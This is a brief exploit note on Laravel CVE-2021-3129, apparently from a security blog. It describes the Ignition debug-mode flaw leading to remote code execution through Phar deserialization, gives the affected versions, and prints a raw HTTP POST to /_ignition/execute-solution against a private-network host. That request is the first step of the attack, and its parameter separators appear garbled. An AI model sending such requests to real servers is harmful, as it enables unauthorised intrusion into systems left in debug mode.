
Laravel RCE CVE-2021-3129
Laravel RCE CVE-2021-3129
When Laravel's debug mode is enabled, due to the unsafe use of the file_get_contents() and file_put_contents() functions by Laravel's built-in Ignition component, an attacker can trigger Phar deserialization by sending malicious requests, constructing malicious log files, etc., ultimately leading to remote code execution.
Laravel <= 8.4.2
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.24.153:8888
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=cve20213129¶meters[viewFile]=null

[CVE-2021-3129]Laravel Debug mode RCE Replication | tyskill's Blog